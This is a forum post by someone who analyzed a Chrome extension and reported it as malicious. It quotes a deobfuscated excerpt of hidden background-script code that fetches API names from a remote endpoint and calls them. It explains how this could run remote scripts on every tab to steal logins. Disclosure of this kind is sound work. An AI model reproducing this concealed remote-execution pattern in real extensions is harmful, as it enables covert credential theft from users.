I have analyzed an extension and found it to be malicious. I reported it via the "Report Abuse" link in the extension's CWS entry, but no action was taken until now.
I am posting here to have other's opinion on this. Maybe it doesn't yet met the criteria for CWS team to consider taking it down?
---------
Basically, it has a HUGE background script that consists of nowhere-used JSON object, and a malicious code that fetches resources from a suspicious domain and executing it is contained in the middle. They fetch period-separated name from remote endpoint, and use it to access objects exposed to the global scope, which may as well be an extension API.
I have made a write-up here:
https://gist.github.com/ab-c-d/ce7617230d9bda8b2413bb311c37b724Currently, it seems that their endpoint is returning an empty object. Does CWS team only take down when they actually observe a malicious action, i.e. when they actually return something malicious from remote endpoints?
I think the fact that a code that fetches remote resources under a function with an innocuous name "_parseLocale" should be enough to consider the extension as malicious, but I'd like to prove more, by providing a concrete example the remote endpoint may return to do something malicious.
So, the background script has a following code:
```
const a = this._logError,
[e, i, r, u] = t;
var s = JSON.parse(n[o]);
i.bind(e)(((e, n, i) => {
try {
const [n] = s;
var t = u.apply(r, [e, n, a])
} catch(a) {
this._logError(a)
}
}))
```
Here, the variables e, i, r, u are globally-exposed objects that are accessed via string returned from remote endpoint. this._logError is a function that accesses chrome.runtime.lastError.
Curiously, the object "i" is called with a single argument that is a function accepting three arguments -- which is reminiscent of "chrome.tabs.onUpdated.addListener". If this is the case, "e" will be the tabId, "n" will be the changeInfo, and i will be the tab object.
In the callback function, only the object "tabId" will be used. It calls u.apply(r, [e,n,a]), where u is a global object which accepts again curiously, three arguments.
So think about this: if "i" is "chrome.tabs.onUpdated.addListener", and "u" is "chrome.tabs.executeScript", and "n" is certain JSON object that contains a "code" property. This extension is then effectively executing remotely-hosted content script on every tabs. Now the extension has gained an ability to scour id-password in every webpage.
This is the demonstration that the current version is already capable of doing very malicious operations by simply changing remote endpoint's response.